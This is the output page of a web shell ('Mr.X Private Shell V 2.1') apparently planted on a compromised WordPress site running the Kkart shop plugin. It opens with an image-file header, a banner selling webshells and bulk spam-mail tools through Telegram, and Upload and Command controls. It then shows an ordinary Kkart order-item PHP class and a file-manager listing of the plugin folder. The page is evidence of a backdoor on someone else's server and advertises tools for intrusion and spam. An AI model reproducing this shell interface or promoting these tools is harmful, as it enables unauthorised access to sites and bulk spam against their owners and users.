����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Order Item
 *
 * A class which represents an item within an order and handles CRUD.
 * Uses ArrayAccess to be BW compatible with KKART_Orders::get_items().
 *
 * @package Kkart\Classes
 * @version 3.0.0
 * @since   3.0.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Order item class.
 */
class KKART_Order_Item extends KKART_Data implements ArrayAccess {

	/**
	 * Order Data array. This is the core order data exposed in APIs since 3.0.0.
	 *
	 * @since 3.0.0
	 * @var array
	 */
	protected $data = array(
		'order_id' => 0,
		'name'     => '',
	);

	/**
	 * Stores meta in cache for future reads.
	 * A group must be set to to enable caching.
	 *
	 * @var string
	 */
	protected $cache_group = 'order-items';

	/**
	 * Meta type. This should match up with
	 * the types available at https://developer.wordpress.org/reference/functions/add_metadata/.
	 * WP defines 'post', 'user', 'comment', and 'term'.
	 *
	 * @var string
	 */
	protected $meta_type = 'order_item';

	/**
	 * This is the name of this object type.
	 *
	 * @var string
	 */
	protected $object_type = 'order_item';

	/**
	 * Constructor.
	 *
	 * @param int|object|array $item ID to load from the DB, or KKART_Order_Item object.
	 */
	public function __construct( $item = 0 ) {
		parent::__construct( $item );

		if ( $item instanceof KKART_Order_Item ) {
			$this->set_id( $item->get_id() );
		} elseif ( is_numeric( $item ) && $item > 0 ) {
			$this->set_id( $item );
		} else {
			$this->set_object_read( true );
		}

		$type             = 'line_item' === $this->get_type() ? 'product' : $this->get_type();
		$this->data_store = KKART_Data_Store::load( 'order-item-' . $type );
		if ( $this->get_id() > 0 ) {
			$this->data_store->read( $this );
		}
	}

	/**
	 * Merge changes with data and clear.
	 * Overrides KKART_Data::apply_changes.
	 * array_replace_recursive does not work well for order items because it merges taxes instead
	 * of replacing them.
	 *
	 * @since 3.2.0
	 */
	public function apply_changes() {
		if ( function_exists( 'array_replace' ) ) {
			$this->data = array_replace( $this->data, $this->changes ); // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.array_replaceFound
		} else { // PHP 5.2 compatibility.
			foreach ( $this->changes as $key => $change ) {
				$this->data[ $key ] = $change;
			}
		}
		$this->changes = array();
	}

	/*
	|--------------------------------------------------------------------------
	| Getters
	|--------------------------------------------------------------------------
	*/

	/**
	 * Get order ID this meta belongs to.
	 *
	 * @param  string $context What the value is for. Valid values are 'view' and 'edit'.
	 * @return int
	 */
	public function get_order_id( $context = 'view' ) {
		return $this->get_prop( 'order_id', $context );
	}

	/**
	 * Get order item name.
	 *
	 * @param  string $context What the value is for. Valid values are 'view' and 'edit'.
	 * @return string
	 */
	public function get_name( $context = 'view' ) {
		return $this->get_prop( 'name', $context );
	}

	/**
	 * Get order item type. Overridden by child classes.
	 *
	 * @return string
	 */
	public function get_type() {
		return '';
	}

	/**
	 * Get quantity.
	 *
	 * @return int
	 */
	public function get_quantity() {
		return 1;
	}

	/**
	 * Get tax status.
	 *
	 * @return string
	 */
	public function get_tax_status() {
		return 'taxable';
	}

	/**
	 * Get tax class.
	 *
	 * @return string
	 */
	public function get_tax_class() {
		return '';
	}

	/**
	 * Get parent order object.
	 *
	 * @return KKART_Order
	 */
	public function get_order() {
		return kkart_get_order( $this->get_order_id() );
	}

	/*
	|--------------------------------------------------------------------------
	| Setters
	|--------------------------------------------------------------------------
	*/

	/**
	 * Set order ID.
	 *
	 * @param int $value Order ID.
	 */
	public function set_order_id( $value ) {
		$this->set_prop( 'order_id', absint( $value ) );
	}

	/**
	 * Set order item name.
	 *
	 * @param string $value Item name.
	 */
	public function set_name( $value ) {
		$this->set_prop( 'name', wp_check_invalid_utf8( $value ) );
	}

	/*
	|--------------------------------------------------------------------------
	| Other Methods
	|--------------------------------------------------------------------------
	*/

	/**
	 * Type checking.
	 *
	 * @param  string|array $type Type.
	 * @return boolean
	 */
	public function is_type( $type ) {
		return is_array( $type ) ? in_array( $this->get_type(), $type, true ) : $type === $this->get_type();
	}

	/**
	 * Calculate item taxes.
	 *
	 * @since  3.2.0
	 * @param  array $calculate_tax_for Location data to get taxes for. Required.
	 * @return bool  True if taxes were calculated.
	 */
	public function calculate_taxes( $calculate_tax_for = array() ) {
		if ( ! isset( $calculate_tax_for['country'], $calculate_tax_for['state'], $calculate_tax_for['postcode'], $calculate_tax_for['city'] ) ) {
			return false;
		}
		if ( '0' !== $this->get_tax_class() && 'taxable' === $this->get_tax_status() && kkart_tax_enabled() ) {
			$calculate_tax_for['tax_class'] = $this->get_tax_class();
			$tax_rates                      = KKART_Tax::find_rates( $calculate_tax_for );
			$taxes                          = KKART_Tax::calc_tax( $this->get_total(), $tax_rates, false );

			if ( method_exists( $this, 'get_subtotal' ) ) {
				$subtotal_taxes = KKART_Tax::calc_tax( $this->get_subtotal(), $tax_rates, false );
				$this->set_taxes(
					array(
						'total'    => $taxes,
						'subtotal' => $subtotal_taxes,
					)
				);
			} else {
				$this->set_taxes( array( 'total' => $taxes ) );
			}
		} else {
			$this->set_taxes( false );
		}

		do_action( 'kkart_order_item_after_calculate_taxes', $this, $calculate_tax_for );

		return true;
	}

	/*
	|--------------------------------------------------------------------------
	| Meta Data Handling
	|--------------------------------------------------------------------------
	*/

	/**
	 * Expands things like term slugs before return.
	 *
	 * @param string $hideprefix  Meta data prefix, (default: _).
	 * @param bool   $include_all Include all meta data, this stop skip items with values already in the product name.
	 * @return array
	 */
	public function get_formatted_meta_data( $hideprefix = '_', $include_all = false ) {
		$formatted_meta    = array();
		$meta_data         = $this->get_meta_data();
		$hideprefix_length = ! empty( $hideprefix ) ? strlen( $hideprefix ) : 0;
		$product           = is_callable( array( $this, 'get_product' ) ) ? $this->get_product() : false;
		$order_item_name   = $this->get_name();

		foreach ( $meta_data as $meta ) {
			if ( empty( $meta->id ) || '' === $meta->value || ! is_scalar( $meta->value ) || ( $hideprefix_length && substr( $meta->key, 0, $hideprefix_length ) === $hideprefix ) ) {
				continue;
			}

			$meta->key     = rawurldecode( (string) $meta->key );
			$meta->value   = rawurldecode( (string) $meta->value );
			$attribute_key = str_replace( 'attribute_', '', $meta->key );
			$display_key   = kkart_attribute_label( $attribute_key, $product );
			$display_value = wp_kses_post( $meta->value );

			if ( taxonomy_exists( $attribute_key ) ) {
				$term = get_term_by( 'slug', $meta->value, $attribute_key );
				if ( ! is_wp_error( $term ) && is_object( $term ) && $term->name ) {
					$display_value = $term->name;
				}
			}

			// Skip items with values already in the product details area of the product name.
			if ( ! $include_all && $product && $product->is_type( 'variation' ) && kkart_is_attribute_in_product_name( $display_value, $order_item_name ) ) {
				continue;
			}

			$formatted_meta[ $meta->id ] = (object) array(
				'key'           => $meta->key,
				'value'         => $meta->value,
				'display_key'   => apply_filters( 'kkart_order_item_display_meta_key', $display_key, $meta, $this ),
				'display_value' => wpautop( make_clickable( apply_filters( 'kkart_order_item_display_meta_value', $display_value, $meta, $this ) ) ),
			);
		}

		return apply_filters( 'kkart_order_item_get_formatted_meta_data', $formatted_meta, $this );
	}

	/*
	|--------------------------------------------------------------------------
	| Array Access Methods
	|--------------------------------------------------------------------------
	|
	| For backwards compatibility with legacy arrays.
	|
	*/

	/**
	 * OffsetSet for ArrayAccess.
	 *
	 * @param string $offset Offset.
	 * @param mixed  $value  Value.
	 */
	public function offsetSet( $offset, $value ) {
		if ( 'item_meta_array' === $offset ) {
			foreach ( $value as $meta_id => $meta ) {
				$this->update_meta_data( $meta->key, $meta->value, $meta_id );
			}
			return;
		}

		if ( array_key_exists( $offset, $this->data ) ) {
			$setter = "set_$offset";
			if ( is_callable( array( $this, $setter ) ) ) {
				$this->$setter( $value );
			}
			return;
		}

		$this->update_meta_data( $offset, $value );
	}

	/**
	 * OffsetUnset for ArrayAccess.
	 *
	 * @param string $offset Offset.
	 */
	public function offsetUnset( $offset ) {
		$this->maybe_read_meta_data();

		if ( 'item_meta_array' === $offset || 'item_meta' === $offset ) {
			$this->meta_data = array();
			return;
		}

		if ( array_key_exists( $offset, $this->data ) ) {
			unset( $this->data[ $offset ] );
		}

		if ( array_key_exists( $offset, $this->changes ) ) {
			unset( $this->changes[ $offset ] );
		}

		$this->delete_meta_data( $offset );
	}

	/**
	 * OffsetExists for ArrayAccess.
	 *
	 * @param string $offset Offset.
	 * @return bool
	 */
	public function offsetExists( $offset ) {
		$this->maybe_read_meta_data();
		if ( 'item_meta_array' === $offset || 'item_meta' === $offset || array_key_exists( $offset, $this->data ) ) {
			return true;
		}
		return array_key_exists( $offset, wp_list_pluck( $this->meta_data, 'value', 'key' ) ) || array_key_exists( '_' . $offset, wp_list_pluck( $this->meta_data, 'value', 'key' ) );
	}

	/**
	 * OffsetGet for ArrayAccess.
	 *
	 * @param string $offset Offset.
	 * @return mixed
	 */
	public function offsetGet( $offset ) {
		$this->maybe_read_meta_data();

		if ( 'item_meta_array' === $offset ) {
			$return = array();

			foreach ( $this->meta_data as $meta ) {
				$return[ $meta->id ] = $meta;
			}

			return $return;
		}

		$meta_values = wp_list_pluck( $this->meta_data, 'value', 'key' );

		if ( 'item_meta' === $offset ) {
			return $meta_values;
		} elseif ( 'type' === $offset ) {
			return $this->get_type();
		} elseif ( array_key_exists( $offset, $this->data ) ) {
			$getter = "get_$offset";
			if ( is_callable( array( $this, $getter ) ) ) {
				return $this->$getter();
			}
		} elseif ( array_key_exists( '_' . $offset, $meta_values ) ) {
			// Item meta was expanded in previous versions, with prefixes removed. This maintains support.
			return $meta_values[ '_' . $offset ];
		} elseif ( array_key_exists( $offset, $meta_values ) ) {
			return $meta_values[ $offset ];
		}

		return null;
	}
}

Filemanager

Name Type Size Permission Actions
abstracts Folder 0755
admin Folder 0755
cli Folder 0755
customizer Folder 0755
data-stores Folder 0755
emails Folder 0755
export Folder 0755
gateways Folder 0755
import Folder 0755
integrations Folder 0755
interfaces Folder 0755
legacy Folder 0755
libraries Folder 0755
log-handlers Folder 0755
payment-tokens Folder 0755
queue Folder 0755
rest-api Folder 0755
shipping Folder 0755
shortcodes Folder 0755
theme-support Folder 0755
tracks Folder 0755
traits Folder 0755
walkers Folder 0755
wccom-site Folder 0755
widgets Folder 0755
body-props-settings.php File 8.18 KB 0644
class-kkart-ajax.php File 128.26 KB 0644
class-kkart-api.php File 4.97 KB 0644
class-kkart-auth.php File 11.66 KB 0644
class-kkart-autoloader.php File 2.78 KB 0644
class-kkart-background-emailer.php File 4.59 KB 0644
class-kkart-background-updater.php File 3.5 KB 0644
class-kkart-breadcrumb.php File 9.46 KB 0644
class-kkart-cache-helper.php File 10.71 KB 0644
class-kkart-cart-fees.php File 3.42 KB 0644
class-kkart-cart-session.php File 14.46 KB 0644
class-kkart-cart-totals.php File 27.72 KB 0644
class-kkart-cart.php File 63.24 KB 0644
class-kkart-checkout.php File 44.59 KB 0644
class-kkart-cli.php File 1.02 KB 0644
class-kkart-comments.php File 12.99 KB 0644
class-kkart-countries.php File 42.21 KB 0644
class-kkart-coupon.php File 32.57 KB 0644
class-kkart-customer-download-log.php File 3.38 KB 0644
class-kkart-customer-download.php File 10.36 KB 0644
class-kkart-customer.php File 27.24 KB 0644
class-kkart-data-exception.php File 1.28 KB 0644
class-kkart-data-store.php File 5.88 KB 0644
class-kkart-datetime.php File 2.2 KB 0644
class-kkart-deprecated-action-hooks.php File 6.54 KB 0644
class-kkart-deprecated-filter-hooks.php File 6.26 KB 0644
class-kkart-discounts.php File 30.96 KB 0644
class-kkart-download-handler.php File 23.37 KB 0644
class-kkart-emails.php File 22.17 KB 0644
class-kkart-embed.php File 4.18 KB 0644
class-kkart-form-handler.php File 43.73 KB 0644
class-kkart-frontend-scripts.php File 26 KB 0644
class-kkart-geo-ip.php File 30.43 KB 0644
class-kkart-geolite-integration.php File 1.99 KB 0644
class-kkart-geolocation.php File 10.34 KB 0644
class-kkart-https.php File 4.29 KB 0644
class-kkart-install.php File 53.84 KB 0644
class-kkart-integrations.php File 1.29 KB 0644
class-kkart-log-levels.php File 2.54 KB 0644
class-kkart-logger.php File 8.21 KB 0644
class-kkart-meta-data.php File 2.18 KB 0644
class-kkart-order-factory.php File 3.14 KB 0644
class-kkart-order-item-coupon.php File 4.02 KB 0644
class-kkart-order-item-fee.php File 8.7 KB 0644
class-kkart-order-item-meta.php File 5.8 KB 0644
class-kkart-order-item-product.php File 13.05 KB 0644
class-kkart-order-item-shipping.php File 7.75 KB 0644
class-kkart-order-item-tax.php File 6.44 KB 0644
class-kkart-order-item.php File 10.69 KB 0644
class-kkart-order-query.php File 2.52 KB 0644
class-kkart-order-refund.php File 4.89 KB 0644
class-kkart-order.php File 61.03 KB 0644
class-kkart-payment-gateways.php File 5.24 KB 0644
class-kkart-payment-tokens.php File 5.91 KB 0644
class-kkart-post-data.php File 17.81 KB 0644
class-kkart-post-types.php File 26.49 KB 0644
class-kkart-privacy-background-process.php File 1.69 KB 0644
class-kkart-privacy-erasers.php File 13.28 KB 0644
class-kkart-privacy-exporters.php File 14.12 KB 0644
class-kkart-privacy.php File 14.86 KB 0644
class-kkart-product-attribute.php File 6.89 KB 0644
class-kkart-product-download.php File 6.01 KB 0644
class-kkart-product-external.php File 4.77 KB 0644
class-kkart-product-factory.php File 3.6 KB 0644
class-kkart-product-grouped.php File 5.19 KB 0644
class-kkart-product-query.php File 2.17 KB 0644
class-kkart-product-simple.php File 1.85 KB 0644
class-kkart-product-variable.php File 21.47 KB 0644
class-kkart-product-variation.php File 17.2 KB 0644
class-kkart-query.php File 30.4 KB 0644
class-kkart-rate-limiter.php File 2.08 KB 0644
class-kkart-regenerate-images-request.php File 8.17 KB 0644
class-kkart-regenerate-images.php File 15.24 KB 0644
class-kkart-register-wp-admin-settings.php File 4.87 KB 0644
class-kkart-rest-authentication.php File 19.35 KB 0644
class-kkart-rest-exception.php File 273 B 0644
class-kkart-session-handler.php File 10.57 KB 0644
class-kkart-shipping-rate.php File 5.26 KB 0644
class-kkart-shipping-zone.php File 13.09 KB 0644
class-kkart-shipping-zones.php File 4.07 KB 0644
class-kkart-shipping.php File 11.33 KB 0644
class-kkart-shortcodes.php File 17.21 KB 0644
class-kkart-structured-data.php File 17.2 KB 0644
class-kkart-tax.php File 35.84 KB 0644
class-kkart-template-loader.php File 18.44 KB 0644
class-kkart-tracker.php File 22.51 KB 0644
class-kkart-validation.php File 5.83 KB 0644
class-kkart-webhook.php File 29.85 KB 0644
class-kkart.php File 31.28 KB 0644
kkart-account-functions.php File 12.69 KB 0644
kkart-attribute-functions.php File 20.59 KB 0644
kkart-cart-functions.php File 17.27 KB 0644
kkart-conditional-functions.php File 11.8 KB 0644
kkart-core-functions.php File 82.04 KB 0644
kkart-coupon-functions.php File 2.65 KB 0644
kkart-formatting-functions.php File 41.61 KB 0644
kkart-notice-functions.php File 7.44 KB 0644
kkart-order-functions.php File 33.53 KB 0644
kkart-order-item-functions.php File 5.06 KB 0644
kkart-page-functions.php File 6.92 KB 0644
kkart-product-functions.php File 47.3 KB 0644
kkart-rest-functions.php File 10.62 KB 0644
kkart-stock-functions.php File 12.45 KB 0644
kkart-template-functions.php File 164.64 KB 0644
kkart-template-hooks.php File 11.06 KB 0644
kkart-term-functions.php File 19.45 KB 0644
kkart-update-functions.php File 64.88 KB 0644
kkart-user-functions.php File 26.58 KB 0644
kkart-webhook-functions.php File 5.58 KB 0644
kkart-widget-functions.php File 2.08 KB 0644
premium.php File 943 B 0644
premium_functions.php File 957 B 0644
shortcode_functions.php File 71.11 KB 0644
shortcodes.php File 265.74 KB 0644
template.php File 2.85 KB 0644